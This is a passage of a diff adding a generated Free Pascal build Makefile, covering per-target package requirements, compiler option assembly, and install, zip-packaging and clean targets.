+REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i8086-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i8086-msdos) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i8086-win16) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),aarch64-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),aarch64-darwin) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifdef REQUIRE_PACKAGES_RTL +PACKAGEDIR_RTL:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /rtl/Makefile.fpc,$(PACKAGESDIR)))))) +ifneq ($(PACKAGEDIR_RTL),) +ifneq ($(wildcard $(PACKAGEDIR_RTL)/units/$(TARGETSUFFIX)),) +UNITDIR_RTL=$(PACKAGEDIR_RTL)/units/$(TARGETSUFFIX) +else +UNITDIR_RTL=$(PACKAGEDIR_RTL) +endif +ifneq ($(wildcard $(PACKAGEDIR_RTL)/units/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_RTL=$(PACKAGEDIR_RTL)/units/$(SOURCESUFFIX) +else +ifneq ($(wildcard $(PACKAGEDIR_RTL)/units_bs/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_RTL=$(PACKAGEDIR_RTL)/units_bs/$(SOURCESUFFIX) +else +UNITDIR_FPMAKE_RTL=$(PACKAGEDIR_RTL) +endif +endif +ifdef CHECKDEPEND +$(PACKAGEDIR_RTL)/$(OS_TARGET)/$(FPCMADE): + $(MAKE) -C $(PACKAGEDIR_RTL)/$(OS_TARGET) $(FPCMADE) +override ALLDEPENDENCIES+=$(PACKAGEDIR_RTL)/$(OS_TARGET)/$(FPCMADE) +endif +else +PACKAGEDIR_RTL= +UNITDIR_RTL:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /rtl/Package.fpc,$(UNITSDIR))))) +ifneq ($(UNITDIR_RTL),) +UNITDIR_RTL:=$(firstword $(UNITDIR_RTL)) +else +UNITDIR_RTL= +endif +endif +ifdef UNITDIR_RTL +override COMPILER_UNITDIR+=$(UNITDIR_RTL) +endif +ifdef UNITDIR_FPMAKE_RTL +override COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_RTL) +endif +endif +ifdef REQUIRE_PACKAGES_PASZLIB +PACKAGEDIR_PASZLIB:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /paszlib/Makefile.fpc,$(PACKAGESDIR)))))) +ifneq ($(PACKAGEDIR_PASZLIB),) +ifneq ($(wildcard $(PACKAGEDIR_PASZLIB)/units/$(TARGETSUFFIX)),) +UNITDIR_PASZLIB=$(PACKAGEDIR_PASZLIB)/units/$(TARGETSUFFIX) +else +UNITDIR_PASZLIB=$(PACKAGEDIR_PASZLIB) +endif +ifneq ($(wildcard $(PACKAGEDIR_PASZLIB)/units/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_PASZLIB=$(PACKAGEDIR_PASZLIB)/units/$(SOURCESUFFIX) +else +ifneq ($(wildcard $(PACKAGEDIR_PASZLIB)/units_bs/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_PASZLIB=$(PACKAGEDIR_PASZLIB)/units_bs/$(SOURCESUFFIX) +else +UNITDIR_FPMAKE_PASZLIB=$(PACKAGEDIR_PASZLIB) +endif +endif +ifdef CHECKDEPEND +$(PACKAGEDIR_PASZLIB)/$(FPCMADE): + $(MAKE) -C $(PACKAGEDIR_PASZLIB) $(FPCMADE) +override ALLDEPENDENCIES+=$(PACKAGEDIR_PASZLIB)/$(FPCMADE) +endif +else +PACKAGEDIR_PASZLIB= +UNITDIR_PASZLIB:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /paszlib/Package.fpc,$(UNITSDIR))))) +ifneq ($(UNITDIR_PASZLIB),) +UNITDIR_PASZLIB:=$(firstword $(UNITDIR_PASZLIB)) +else +UNITDIR_PASZLIB= +endif +endif +ifdef UNITDIR_PASZLIB +override COMPILER_UNITDIR+=$(UNITDIR_PASZLIB) +endif +ifdef UNITDIR_FPMAKE_PASZLIB +override COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_PASZLIB) +endif +endif +ifdef REQUIRE_PACKAGES_FCL-PROCESS +PACKAGEDIR_FCL-PROCESS:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /fcl-process/Makefile.fpc,$(PACKAGESDIR)))))) +ifneq ($(PACKAGEDIR_FCL-PROCESS),) +ifneq ($(wildcard $(PACKAGEDIR_FCL-PROCESS)/units/$(TARGETSUFFIX)),) +UNITDIR_FCL-PROCESS=$(PACKAGEDIR_FCL-PROCESS)/units/$(TARGETSUFFIX) +else +UNITDIR_FCL-PROCESS=$(PACKAGEDIR_FCL-PROCESS) +endif +ifneq ($(wildcard $(PACKAGEDIR_FCL-PROCESS)/units/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_FCL-PROCESS=$(PACKAGEDIR_FCL-PROCESS)/units/$(SOURCESUFFIX) +else +ifneq ($(wildcard $(PACKAGEDIR_FCL-PROCESS)/units_bs/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_FCL-PROCESS=$(PACKAGEDIR_FCL-PROCESS)/units_bs/$(SOURCESUFFIX) +else +UNITDIR_FPMAKE_FCL-PROCESS=$(PACKAGEDIR_FCL-PROCESS) +endif +endif +ifdef CHECKDEPEND +$(PACKAGEDIR_FCL-PROCESS)/$(FPCMADE): + $(MAKE) -C $(PACKAGEDIR_FCL-PROCESS) $(FPCMADE) +override ALLDEPENDENCIES+=$(PACKAGEDIR_FCL-PROCESS)/$(FPCMADE) +endif +else +PACKAGEDIR_FCL-PROCESS= +UNITDIR_FCL-PROCESS:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /fcl-process/Package.fpc,$(UNITSDIR))))) +ifneq ($(UNITDIR_FCL-PROCESS),) +UNITDIR_FCL-PROCESS:=$(firstword $(UNITDIR_FCL-PROCESS)) +else +UNITDIR_FCL-PROCESS= +endif +endif +ifdef UNITDIR_FCL-PROCESS +override COMPILER_UNITDIR+=$(UNITDIR_FCL-PROCESS) +endif +ifdef UNITDIR_FPMAKE_FCL-PROCESS +override COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_FCL-PROCESS) +endif +endif +ifdef REQUIRE_PACKAGES_HASH +PACKAGEDIR_HASH:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /hash/Makefile.fpc,$(PACKAGESDIR)))))) +ifneq ($(PACKAGEDIR_HASH),) +ifneq ($(wildcard $(PACKAGEDIR_HASH)/units/$(TARGETSUFFIX)),) +UNITDIR_HASH=$(PACKAGEDIR_HASH)/units/$(TARGETSUFFIX) +else +UNITDIR_HASH=$(PACKAGEDIR_HASH) +endif +ifneq ($(wildcard $(PACKAGEDIR_HASH)/units/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_HASH=$(PACKAGEDIR_HASH)/units/$(SOURCESUFFIX) +else +ifneq ($(wildcard $(PACKAGEDIR_HASH)/units_bs/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_HASH=$(PACKAGEDIR_HASH)/units_bs/$(SOURCESUFFIX) +else +UNITDIR_FPMAKE_HASH=$(PACKAGEDIR_HASH) +endif +endif +ifdef CHECKDEPEND +$(PACKAGEDIR_HASH)/$(FPCMADE): + $(MAKE) -C $(PACKAGEDIR_HASH) $(FPCMADE) +override ALLDEPENDENCIES+=$(PACKAGEDIR_HASH)/$(FPCMADE) +endif +else +PACKAGEDIR_HASH= +UNITDIR_HASH:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /hash/Package.fpc,$(UNITSDIR))))) +ifneq ($(UNITDIR_HASH),) +UNITDIR_HASH:=$(firstword $(UNITDIR_HASH)) +else +UNITDIR_HASH= +endif +endif +ifdef UNITDIR_HASH +override COMPILER_UNITDIR+=$(UNITDIR_HASH) +endif +ifdef UNITDIR_FPMAKE_HASH +override COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_HASH) +endif +endif +ifdef REQUIRE_PACKAGES_LIBTAR +PACKAGEDIR_LIBTAR:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /libtar/Makefile.fpc,$(PACKAGESDIR)))))) +ifneq ($(PACKAGEDIR_LIBTAR),) +ifneq ($(wildcard $(PACKAGEDIR_LIBTAR)/units/$(TARGETSUFFIX)),) +UNITDIR_LIBTAR=$(PACKAGEDIR_LIBTAR)/units/$(TARGETSUFFIX) +else +UNITDIR_LIBTAR=$(PACKAGEDIR_LIBTAR) +endif +ifneq ($(wildcard $(PACKAGEDIR_LIBTAR)/units/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_LIBTAR=$(PACKAGEDIR_LIBTAR)/units/$(SOURCESUFFIX) +else +ifneq ($(wildcard $(PACKAGEDIR_LIBTAR)/units_bs/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_LIBTAR=$(PACKAGEDIR_LIBTAR)/units_bs/$(SOURCESUFFIX) +else +UNITDIR_FPMAKE_LIBTAR=$(PACKAGEDIR_LIBTAR) +endif +endif +ifdef CHECKDEPEND +$(PACKAGEDIR_LIBTAR)/$(FPCMADE): + $(MAKE) -C $(PACKAGEDIR_LIBTAR) $(FPCMADE) +override ALLDEPENDENCIES+=$(PACKAGEDIR_LIBTAR)/$(FPCMADE) +endif +else +PACKAGEDIR_LIBTAR= +UNITDIR_LIBTAR:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /libtar/Package.fpc,$(UNITSDIR))))) +ifneq ($(UNITDIR_LIBTAR),) +UNITDIR_LIBTAR:=$(firstword $(UNITDIR_LIBTAR)) +else +UNITDIR_LIBTAR= +endif +endif +ifdef UNITDIR_LIBTAR +override COMPILER_UNITDIR+=$(UNITDIR_LIBTAR) +endif +ifdef UNITDIR_FPMAKE_LIBTAR +override COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_LIBTAR) +endif +endif +ifdef REQUIRE_PACKAGES_FPMKUNIT +PACKAGEDIR_FPMKUNIT:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /fpmkunit/Makefile.fpc,$(PACKAGESDIR)))))) +ifneq ($(PACKAGEDIR_FPMKUNIT),) +ifneq ($(wildcard $(PACKAGEDIR_FPMKUNIT)/units/$(TARGETSUFFIX)),) +UNITDIR_FPMKUNIT=$(PACKAGEDIR_FPMKUNIT)/units/$(TARGETSUFFIX) +else +UNITDIR_FPMKUNIT=$(PACKAGEDIR_FPMKUNIT) +endif +ifneq ($(wildcard $(PACKAGEDIR_FPMKUNIT)/units/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_FPMKUNIT=$(PACKAGEDIR_FPMKUNIT)/units/$(SOURCESUFFIX) +else +ifneq ($(wildcard $(PACKAGEDIR_FPMKUNIT)/units_bs/$(SOURCESUFFIX)),) +UNITDIR_FPMAKE_FPMKUNIT=$(PACKAGEDIR_FPMKUNIT)/units_bs/$(SOURCESUFFIX) +else +UNITDIR_FPMAKE_FPMKUNIT=$(PACKAGEDIR_FPMKUNIT) +endif +endif +ifdef CHECKDEPEND +$(PACKAGEDIR_FPMKUNIT)/$(FPCMADE): + $(MAKE) -C $(PACKAGEDIR_FPMKUNIT) $(FPCMADE) +override ALLDEPENDENCIES+=$(PACKAGEDIR_FPMKUNIT)/$(FPCMADE) +endif +else +PACKAGEDIR_FPMKUNIT= +UNITDIR_FPMKUNIT:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /fpmkunit/Package.fpc,$(UNITSDIR))))) +ifneq ($(UNITDIR_FPMKUNIT),) +UNITDIR_FPMKUNIT:=$(firstword $(UNITDIR_FPMKUNIT)) +else +UNITDIR_FPMKUNIT= +endif +endif +ifdef UNITDIR_FPMKUNIT +override COMPILER_UNITDIR+=$(UNITDIR_FPMKUNIT) +endif +ifdef UNITDIR_FPMAKE_FPMKUNIT +override COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_FPMKUNIT) +endif +endif +ifndef NOCPUDEF +override FPCOPTDEF=$(ARCH) +endif +ifneq ($(OS_TARGET),$(OS_SOURCE)) +override FPCOPT+=-T$(OS_TARGET) +endif +ifneq ($(CPU_TARGET),$(CPU_SOURCE)) +override FPCOPT+=-P$(ARCH) +endif +ifeq ($(OS_SOURCE),openbsd) +override FPCOPT+=-FD$(NEW_BINUTILS_PATH) +override FPCMAKEOPT+=-FD$(NEW_BINUTILS_PATH) +override FPMAKE_BUILD_OPT+=-FD$(NEW_BINUTILS_PATH) +endif +ifndef CROSSBOOTSTRAP +ifneq ($(BINUTILSPREFIX),) +override FPCOPT+=-XP$(BINUTILSPREFIX) +endif +ifneq ($(BINUTILSPREFIX),) +override FPCOPT+=-Xr$(RLINKPATH) +endif +endif +ifndef CROSSCOMPILE +ifneq ($(BINUTILSPREFIX),) +override FPCMAKEOPT+=-XP$(BINUTILSPREFIX) +override FPMAKE_BUILD_OPT+=-XP$(BINUTILSPREFIX) +endif +endif +ifdef UNITDIR +override FPCOPT+=$(addprefix -Fu,$(UNITDIR)) +endif +ifdef LIBDIR +override FPCOPT+=$(addprefix -Fl,$(LIBDIR)) +endif +ifdef OBJDIR +override FPCOPT+=$(addprefix -Fo,$(OBJDIR)) +endif +ifdef INCDIR +override FPCOPT+=$(addprefix -Fi,$(INCDIR)) +endif +ifdef LINKSMART +override FPCOPT+=-XX +endif +ifdef CREATESMART +override FPCOPT+=-CX +endif +ifdef DEBUG +override FPCOPT+=-gl +override FPCOPTDEF+=DEBUG +endif +ifdef RELEASE +ifneq ($(findstring 2.0.,$(FPC_VERSION)),) +ifeq ($(CPU_TARGET),i386) +FPCCPUOPT:=-OG2p3 +endif +ifeq ($(CPU_TARGET),powerpc) +FPCCPUOPT:=-O1r +endif +else +FPCCPUOPT:=-O2 +endif +override FPCOPT+=-Ur -Xs $(FPCCPUOPT) -n +override FPCOPTDEF+=RELEASE +endif +ifdef STRIP +override FPCOPT+=-Xs +endif +ifdef OPTIMIZE +override FPCOPT+=-O2 +endif +ifdef VERBOSE +override FPCOPT+=-vwni +endif +ifdef COMPILER_OPTIONS +override FPCOPT+=$(COMPILER_OPTIONS) +endif +ifdef COMPILER_UNITDIR +override FPCOPT+=$(addprefix -Fu,$(COMPILER_UNITDIR)) +endif +ifdef COMPILER_LIBRARYDIR +override FPCOPT+=$(addprefix -Fl,$(COMPILER_LIBRARYDIR)) +endif +ifdef COMPILER_OBJECTDIR +override FPCOPT+=$(addprefix -Fo,$(COMPILER_OBJECTDIR)) +endif +ifdef COMPILER_INCLUDEDIR +override FPCOPT+=$(addprefix -Fi,$(COMPILER_INCLUDEDIR)) +endif +ifdef CROSSBINDIR +override FPCOPT+=-FD$(CROSSBINDIR) +endif +ifdef COMPILER_TARGETDIR +override FPCOPT+=-FE$(COMPILER_TARGETDIR) +ifeq ($(COMPILER_TARGETDIR),.) +override TARGETDIRPREFIX= +else +override TARGETDIRPREFIX=$(COMPILER_TARGETDIR)/ +endif +endif +ifdef COMPILER_UNITTARGETDIR +override FPCOPT+=-FU$(COMPILER_UNITTARGETDIR) +ifeq ($(COMPILER_UNITTARGETDIR),.) +override UNITTARGETDIRPREFIX= +else +override UNITTARGETDIRPREFIX=$(COMPILER_UNITTARGETDIR)/ +endif +else +ifdef COMPILER_TARGETDIR +override COMPILER_UNITTARGETDIR=$(COMPILER_TARGETDIR) +override UNITTARGETDIRPREFIX=$(TARGETDIRPREFIX) +endif +endif +ifdef CREATESHARED +override FPCOPT+=-Cg +endif +ifneq ($(findstring $(OS_TARGET),dragonfly freebsd openbsd netbsd linux solaris),) +ifneq ($(findstring $(CPU_TARGET),x86_64 mips mipsel),) +override FPCOPT+=-Cg +endif +endif +ifdef LINKSHARED +endif +ifdef OPT +override FPCOPT+=$(OPT) +endif +ifdef FPMAKEBUILDOPT +override FPMAKE_BUILD_OPT+=$(FPMAKEBUILDOPT) +endif +ifdef FPCOPTDEF +override FPCOPT+=$(addprefix -d,$(FPCOPTDEF)) +endif +ifdef CFGFILE +override FPCOPT+=@$(CFGFILE) +endif +ifdef USEENV +override FPCEXTCMD:=$(FPCOPT) +override FPCOPT:=!FPCEXTCMD +export FPCEXTCMD +endif +override AFULL_TARGET=$(CPU_TARGET)-$(OS_TARGET) +override AFULL_SOURCE=$(CPU_SOURCE)-$(OS_SOURCE) +ifneq ($(AFULL_TARGET),$(AFULL_SOURCE)) +override ACROSSCOMPILE=1 +endif +ifdef ACROSSCOMPILE +override FPCOPT+=$(CROSSOPT) +endif +override COMPILER:=$(strip $(FPC) $(FPCOPT)) +ifneq (,$(findstring -sh ,$(COMPILER))) +UseEXECPPAS=1 +endif +ifneq (,$(findstring -s ,$(COMPILER))) +ifeq ($(FULL_SOURCE),$(FULL_TARGET)) +UseEXECPPAS=1 +endif +endif +ifneq ($(UseEXECPPAS),1) +EXECPPAS= +else +ifdef RUNBATCH +EXECPPAS:=@$(RUNBATCH) $(PPAS) +else +EXECPPAS:=@$(PPAS) +endif +endif +ifdef TARGET_RSTS +override RSTFILES=$(addsuffix $(RSTEXT),$(TARGET_RSTS)) +override CLEANRSTFILES+=$(RSTFILES) +endif +.PHONY: fpc_install fpc_sourceinstall fpc_exampleinstall +ifdef INSTALL_UNITS +override INSTALLPPUFILES+=$(addsuffix $(PPUEXT),$(INSTALL_UNITS)) +endif +ifdef INSTALL_BUILDUNIT +override INSTALLPPUFILES:=$(filter-out $(INSTALL_BUILDUNIT)$(PPUEXT),$(INSTALLPPUFILES)) +endif +ifdef INSTALLPPUFILES +override INSTALLPPULINKFILES:=$(subst $(PPUEXT),$(OEXT),$(INSTALLPPUFILES)) $(addprefix $(STATICLIBPREFIX),$(subst $(PPUEXT),$(STATICLIBEXT),$(INSTALLPPUFILES))) $(addprefix $(IMPORTLIBPREFIX),$(subst $(PPUEXT),$(STATICLIBEXT),$(INSTALLPPUFILES))) +ifneq ($(UNITTARGETDIRPREFIX),) +override INSTALLPPUFILES:=$(addprefix $(UNITTARGETDIRPREFIX),$(notdir $(INSTALLPPUFILES))) +override INSTALLPPULINKFILES:=$(wildcard $(addprefix $(UNITTARGETDIRPREFIX),$(notdir $(INSTALLPPULINKFILES)))) +endif +override INSTALL_CREATEPACKAGEFPC=1 +endif +ifdef INSTALLEXEFILES +ifneq ($(TARGETDIRPREFIX),) +override INSTALLEXEFILES:=$(addprefix $(TARGETDIRPREFIX),$(notdir $(INSTALLEXEFILES))) +endif +endif +fpc_install: all $(INSTALLTARGET) +ifdef INSTALLEXEFILES + $(MKDIR) $(INSTALL_BINDIR) + $(INSTALLEXE) $(INSTALLEXEFILES) $(INSTALL_BINDIR) +endif +ifdef INSTALL_CREATEPACKAGEFPC +ifdef FPCMAKE +ifdef PACKAGE_VERSION +ifneq ($(wildcard Makefile.fpc),) + $(FPCMAKE) -p -T$(CPU_TARGET)-$(OS_TARGET) Makefile.fpc + $(MKDIR) $(INSTALL_UNITDIR) + $(INSTALL) Package.fpc $(INSTALL_UNITDIR) +endif +endif +endif +endif +ifdef INSTALLPPUFILES + $(MKDIR) $(INSTALL_UNITDIR) + $(INSTALL) $(INSTALLPPUFILES) $(INSTALL_UNITDIR) +ifneq ($(INSTALLPPULINKFILES),) + $(INSTALL) $(INSTALLPPULINKFILES) $(INSTALL_UNITDIR) +endif +ifneq ($(wildcard $(LIB_FULLNAME)),) + $(MKDIR) $(INSTALL_LIBDIR) + $(INSTALL) $(LIB_FULLNAME) $(INSTALL_LIBDIR) +ifdef inUnix + ln -sf $(LIB_FULLNAME) $(INSTALL_LIBDIR)/$(LIB_NAME) +endif +endif +endif +ifdef INSTALL_FILES + $(MKDIR) $(INSTALL_DATADIR) + $(INSTALL) $(INSTALL_FILES) $(INSTALL_DATADIR) +endif +fpc_sourceinstall: distclean + $(MKDIR) $(INSTALL_SOURCEDIR) + $(COPYTREE) $(BASEDIR)/* $(INSTALL_SOURCEDIR) +fpc_exampleinstall: $(EXAMPLEINSTALLTARGET) $(addsuffix _distclean,$(TARGET_EXAMPLEDIRS)) +ifdef HASEXAMPLES + $(MKDIR) $(INSTALL_EXAMPLEDIR) +endif +ifdef EXAMPLESOURCEFILES + $(COPY) $(EXAMPLESOURCEFILES) $(INSTALL_EXAMPLEDIR) +endif +ifdef TARGET_EXAMPLEDIRS + $(COPYTREE) $(addsuffix /*,$(TARGET_EXAMPLEDIRS)) $(INSTALL_EXAMPLEDIR) +endif +.PHONY: fpc_distinstall +fpc_distinstall: install exampleinstall +.PHONY: fpc_zipinstall fpc_zipsourceinstall fpc_zipexampleinstall +ifndef PACKDIR +ifndef inUnix +PACKDIR=$(BASEDIR)/../fpc-pack +else +PACKDIR=/tmp/fpc-pack +endif +endif +ifndef ZIPNAME +ifdef DIST_ZIPNAME +ZIPNAME=$(DIST_ZIPNAME) +else +ZIPNAME=$(PACKAGE_NAME) +endif +endif +ifndef FULLZIPNAME +FULLZIPNAME=$(ZIPCROSSPREFIX)$(ZIPPREFIX)$(ZIPNAME)$(ZIPSUFFIX) +endif +ifndef ZIPTARGET +ifdef DIST_ZIPTARGET +ZIPTARGET=DIST_ZIPTARGET +else +ZIPTARGET=install +endif +endif +ifndef USEZIP +ifdef inUnix +USETAR=1 +endif +endif +ifndef inUnix +USEZIPWRAPPER=1 +endif +ifdef USEZIPWRAPPER +ZIPPATHSEP=$(PATHSEP) +ZIPWRAPPER=$(subst /,$(PATHSEP),$(DIST_DESTDIR)/fpczip$(SRCBATCHEXT)) +else +ZIPPATHSEP=/ +endif +ZIPCMD_CDPACK:=cd $(subst /,$(ZIPPATHSEP),$(PACKDIR)) +ZIPCMD_CDBASE:=cd $(subst /,$(ZIPPATHSEP),$(BASEDIR)) +ifdef USETAR +ZIPDESTFILE:=$(DIST_DESTDIR)/$(FULLZIPNAME)$(TAREXT) +ZIPCMD_ZIP:=$(TARPROG) c$(TAROPT)f $(ZIPDESTFILE) * +else +ZIPDESTFILE:=$(DIST_DESTDIR)/$(FULLZIPNAME)$(ZIPEXT) +ZIPCMD_ZIP:=$(subst /,$(ZIPPATHSEP),$(ZIPPROG)) -Dr $(ZIPOPT) $(ZIPDESTFILE) * +endif +fpc_zipinstall: + $(MAKE) $(ZIPTARGET) INSTALL_PREFIX=$(PACKDIR) ZIPINSTALL=1 + $(MKDIR) $(DIST_DESTDIR) + $(DEL) $(ZIPDESTFILE) +ifdef USEZIPWRAPPER +ifneq ($(ECHOREDIR),echo) + $(ECHOREDIR) -e "$(subst \,\\,$(ZIPCMD_CDPACK))" > $(ZIPWRAPPER) + $(ECHOREDIR) -e "$(subst \,\\,$(ZIPCMD_ZIP))" >> $(ZIPWRAPPER) + $(ECHOREDIR) -e "$(subst \,\\,$(ZIPCMD_CDBASE))" >> $(ZIPWRAPPER) +else + echo $(ZIPCMD_CDPACK) > $(ZIPWRAPPER) + echo $(ZIPCMD_ZIP) >> $(ZIPWRAPPER) + echo $(ZIPCMD_CDBASE) >> $(ZIPWRAPPER) +endif +ifdef inUnix + /bin/sh $(ZIPWRAPPER) +else +ifdef RUNBATCH + $(RUNBATCH) $(ZIPWRAPPER) +else + $(ZIPWRAPPER) +endif +endif + $(DEL) $(ZIPWRAPPER) +else + $(ZIPCMD_CDPACK) ; $(ZIPCMD_ZIP) ; $(ZIPCMD_CDBASE) +endif + $(DELTREE) $(PACKDIR) +fpc_zipsourceinstall: + $(MAKE) fpc_zipinstall ZIPTARGET=sourceinstall ZIPSUFFIX=$(ZIPSOURCESUFFIX) +fpc_zipexampleinstall: +ifdef HASEXAMPLES + $(MAKE) fpc_zipinstall ZIPTARGET=exampleinstall ZIPSUFFIX=$(ZIPEXAMPLESUFFIX) +endif +fpc_zipdistinstall: + $(MAKE) fpc_zipinstall ZIPTARGET=distinstall +.PHONY: fpc_clean fpc_cleanall fpc_distclean +ifdef EXEFILES +override CLEANEXEFILES:=$(addprefix $(TARGETDIRPREFIX),$(CLEANEXEFILES)) +override CLEANEXEDBGFILES:=$(addprefix $(TARGETDIRPREFIX),$(CLEANEXEDBGFILES)) +endif +ifdef CLEAN_PROGRAMS +override CLEANEXEFILES+=$(addprefix $(TARGETDIRPREFIX),$(addsuffix $(EXEEXT), $(CLEAN_PROGRAMS))) +override CLEANEXEDBGFILES+=$(addprefix $(TARGETDIRPREFIX),$(addsuffix $(EXEDBGEXT), $(CLEAN_PROGRAMS))) +endif +ifdef CLEAN_UNITS +override CLEANPPUFILES+=$(addsuffix $(PPUEXT),$(CLEAN_UNITS)) +endif +ifdef CLEANPPUFILES +override CLEANPPULINKFILES:=$(subst $(PPUEXT),$(OEXT),$(CLEANPPUFILES)) $(addprefix $(STATICLIBPREFIX),$(subst $(PPUEXT),$(STATICLIBEXT),$(CLEANPPUFILES))) $(addprefix $(IMPORTLIBPREFIX),$(subst $(PPUEXT),$(STATICLIBEXT),$(CLEANPPUFILES))) +ifdef DEBUGSYMEXT +override CLEANPPULINKFILES+=$(subst $(PPUEXT),$(DEBUGSYMEXT),$(CLEANPPUFILES)) +endif +override CLEANPPUFILES:=$(addprefix $(UNITTARGETDIRPREFIX),$(CLEANPPUFILES)) +override CLEANPPULINKFILES:=$(wildcard $(addprefix $(UNITTARGETDIRPREFIX),$(CLEANPPULINKFILES))) +endif +fpc_clean: $(CLEANTARGET) +ifdef CLEANEXEFILES + -$(DEL) $(CLEANEXEFILES) +endif +ifdef CLEANEXEDBGFILES + -$(DELTREE) $(CLEANEXEDBGFILES) +endif +ifdef CLEANPPUFILES + -$(DEL) $(CLEANPPUFILES) +endif +ifneq ($(CLEANPPULINKFILES),) + -$(DEL) $(CLEANPPULINKFILES) +endif +ifdef CLEANRSTFILES + -$(DEL) $(addprefix $(UNITTARGETDIRPREFIX),$(CLEANRSTFILES)) +endif +ifdef CLEAN_FILES + -$(DEL) $(CLEAN_FILES) +endif +ifdef LIB_NAME + -$(DEL) $(LIB_NAME) $(LIB_FULLNAME) +endif + -$(DEL) $(FPCMADE) Package.fpc $(PPAS) script.res link.res $(FPCEXTFILE) $(REDIRFILE) + -$(DEL) *$(ASMEXT) *_ppas$(BATCHEXT) +fpc_cleanall: $(CLEANTARGET) +ifdef CLEANEXEFILES + -$(DEL) $(CLEANEXEFILES) +endif +ifdef COMPILER_UNITTARGETDIR +ifdef CLEANPPUFILES + -$(DEL) $(CLEANPPUFILES) +endif +ifneq ($(CLEANPPULINKFILES),) + -$(DEL) $(CLEANPPULINKFILES) +endif +ifdef CLEANRSTFILES + -$(DEL) $(addprefix $(UNITTARGETDIRPREFIX),$(CLEANRSTFILES)) +endif +endif +ifdef CLEAN_FILES + -$(DEL) $(CLEAN_FILES) +endif + -$(DELTREE) units + -$(DEL) *$(OEXT) *$(PPUEXT) *$(RSTEXT) *$(ASMEXT) *$(STATICLIBEXT) *$(SHAREDLIBEXT) *$(PPLEXT) +ifneq ($(PPUEXT),.ppu) + -$(DEL) *.o *.ppu *.a +endif + -$(DELTREE) *$(SMARTEXT) + -$(DEL) fpcmade.* Package.fpc $(PPAS) script.res link.res $(FPCEXTFILE) $(REDIRFILE) + -$(DEL) *_ppas$(BATCHEXT) +ifdef AOUTEXT + -$(DEL) *$(AOUTEXT) +endif +ifdef DEBUGSYMEXT + -$(DEL) *$(DEBUGSYMEXT) +endif +ifdef LOCALFPMAKEBIN + -$(DEL) $(LOCALFPMAKEBIN) + -$(DEL) $(FPMAKEBINOBJ) +endif +fpc_distclean: cleanall +.PHONY: fpc_baseinfo +override INFORULES+=fpc_baseinfo +fpc_baseinfo: + @$(ECHO) + @$(ECHO) == Package info == + @$(ECHO) Package Name..... $(PACKAGE_NAME) + @$(ECHO) Package Version.. $(PACKAGE_VERSION) + @$(ECHO) + @$(ECHO) == Configuration info == + @$(ECHO) + @$(ECHO) FPC.......... $(FPC) + @$(ECHO) FPC Version.. $(FPC_VERSION) + @$(ECHO) Source CPU... $(CPU_SOURCE) + @$(ECHO) Target CPU... $(CPU_TARGET) + @$(ECHO) Source OS.... $(OS_SOURCE) + @$(ECHO) Target OS.... $(OS_TARGET) + @$(ECHO) Full Source.. $(FULL_SOURCE) + @$(ECHO) Full Target.. $(FULL_TARGET) + @$(ECHO) SourceSuffix. 